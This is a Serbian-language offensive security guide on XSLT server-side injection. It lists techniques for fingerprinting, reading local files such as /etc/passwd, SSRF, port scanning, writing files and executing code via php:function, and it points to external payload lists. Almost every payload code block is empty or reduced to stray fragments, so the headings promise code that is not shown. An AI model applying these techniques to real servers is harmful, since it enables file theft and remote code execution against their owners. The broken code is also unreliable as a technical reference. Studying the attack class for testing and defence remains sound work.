# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
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## Basic Information
XSLT je tehnologija koja se koristi za transformaciju XML dokumenata u različite formate. Dolazi u tri verzije: 1, 2 i 3, pri čemu je verzija 1 najčešće korišćena. Proces transformacije može se izvršiti ili na serveru ili unutar pregledača.
Okviri koji se najčešće koriste uključuju:
- **Libxslt** iz Gnome-a,
- **Xalan** iz Apache-a,
- **Saxon** iz Saxonica.
Za eksploataciju ranjivosti povezanih sa XSLT-om, neophodno je da xsl tagovi budu smešteni na serveru, nakon čega se pristupa tom sadržaju. Ilustracija takve ranjivosti dokumentovana je u sledećem izvoru: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Example - Tutorial
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```xml
CD Title
The artist
Da Company
10000
1760
```
{% endcode %}
{% code title="xsl.xsl" %}
```xml
The Super title
```
{% endcode %}
Izvrši:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
The Super title
| Title |
artist |
| CD Title |
The artist |
```
### Otisak
{% code title="detection.xsl" %}
```xml
Version:
Vendor:
Vendor URL:
Product Name:
Product Version:
Is Schema Aware ?:
Supports Serialization:
Supports Backwards Compatibility:
```
{% endcode %}
I izvrši
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
XSLT identification
Version:2.0
Vendor:SAXON 9.1.0.8 from Saxonica
Vendor URL:http://www.saxonica.com/
```
### Čitaj lokalnu datoteku
{% code title="read.xsl" %}
```xml
```
{% endcode %}
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF
```xml
```
### Verzije
Mogu postojati više ili manje funkcija u zavisnosti od korišćene XSLT verzije:
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## Otisak
Otpremite ovo i uzmite informacije
```xml
Version:
Vendor:
Vendor URL:
Product Name:
Product Version:
Is Schema Aware ?:
Supports Serialization:
Supports Backwards Compatibility:
```
## SSRF
```xml
```
## Javascript Injekcija
```xml
```
## Directory listing (PHP)
### **Opendir + readdir**
```xml
-
-
-
-
-
-
-
-
-
```
### **Assert (var\_dump + scandir + false)**
```xml
```
## Čitanje fajlova
### **Interno - PHP**
```xml
```
### **Interno - XXE**
```xml
]>
&ext_file;
```
### **Kroz HTTP**
```xml
```
```xml
]>
&passwd;
```
### **Interni (PHP-funkcija)**
```xml
```
```xml
```
### Skener portova
```xml
```
## Write to a file
### XSLT 2.0
```xml
Write Local File
```
### **Xalan-J ekstenzija**
```xml
Write Local File
```
Drugi načini za pisanje datoteka u PDF-u
## Uključite spoljašnji XSL
```xml
```
```xml
```
## Izvrši kod
### **php:function**
```xml
```
```xml
```
Izvršite kod koristeći druge okvire u PDF-u
### **Više jezika**
**Na ovoj stranici možete pronaći primere RCE u drugim jezicima:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **Pristup PHP statičkim funkcijama iz klasa**
Sledeća funkcija će pozvati statičku metodu `stringToUrl` klase XSL:
```xml
```
(Primer sa [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
## Više Payload-a
* Proverite [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Proverite [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Lista za Detekciju Brute-Force-a**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
## **Reference**
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
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